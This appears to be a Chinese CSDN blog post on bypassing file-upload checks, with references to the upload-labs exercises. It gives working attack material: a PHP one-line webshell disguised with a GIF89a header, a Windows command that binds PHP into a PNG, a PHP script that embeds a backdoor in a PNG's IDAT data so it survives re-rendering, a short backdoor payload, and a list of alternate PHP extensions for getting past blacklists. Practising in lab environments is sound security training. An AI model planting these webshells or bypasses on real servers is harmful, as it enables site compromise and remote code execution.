png文件头_文件上传总结

本文详细介绍了文件上传的安全检验规则,包括客户端JavaScript校验、文件头Content-Type检查、文件内容头校验、后缀名黑白名单校验及内容校验。同时,讨论了多种绕过策略,如扩展名绕过、解析漏洞利用(如IIS、Apache、Nginx、PHP CGI)、配置文件利用(如.htaccess和web.config)以及PUT上传和WAF绕过技巧。提供了各种漏洞利用场景及防御建议。
摘要由CSDN通过智能技术生成

可以参考upload-labs

a2905b34fc76e7d68c4c04e63899cef9.png

检验规则
1、客户端javascript校验

通常在前端进行过滤,我们可以通过命名1.php.jpg上传,然后修改数据包文件名filename=1.php上传。或者直接禁用JS,上传1.php。都可以绕过前端验证。

可以参考upload-labs第一题

2.文件头content-type字段校验(image/gif)

这里可以参考upload-labs 第二题,通过修改Content-Type达到绕过检测

Content-Type : image/gifContent-Type : image/pngContent-Type : image/jpeg
Content-Type : application/x-phpContent-Type : application/octet-stream
3.文件内容头校验

应用程序根据其首个签名字节来识别文件类型。在文件中添加/替换它们可能会欺骗应用程序。

https://en.wikipedia.org/wiki/List_of_file_signatures

方式1:

可以使用winhex等软件在文件头内加入GIF87a的47 49 46 38 37 61  ,从而欺骗应用程序。

方式2:

在一句话木马前面再加一些图片文件信息,如

GIF89a<?php @eval($_POST['caidao']);?>

方式3:

Windows捆绑

copy 1.png /b + 2.php /a 3.png
4.后缀名黑/白名单校验:扩展名

黑名单:参考扩展名绕过。特殊可解析后缀、大小写、.$::DATA、空格、嵌套、/.、.htaccess、解析漏洞

白名单的绕过方法:00截断、解析漏洞。

5.文件内容校验:二次渲染

二次渲染绕过:

A:可以通过对比渲染前后的图片找到未被修改的位置加入恶意代码

B:二次渲染生成图片脚本

向PNG图片的IDAT数据块中插入PHP后门代码

<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,           0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {
       $r = $p[$y];   $g = $p[$y+1];   $b = $p[$y+2];   $color = imagecolorallocate($img, $r, $g, $b);   imagesetpixel($img, round($y / 3), 0, $color);}imagepng($img,'./1.png');?>

后门代码:

=$_GET[0]($_POST[1]);?>
扩展名绕过

php扩展名

.php.php3.php4.php5.php7.pht.phar.phpt.pgif.phtml.phtm.jpeg.php.jpg.php.png.
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值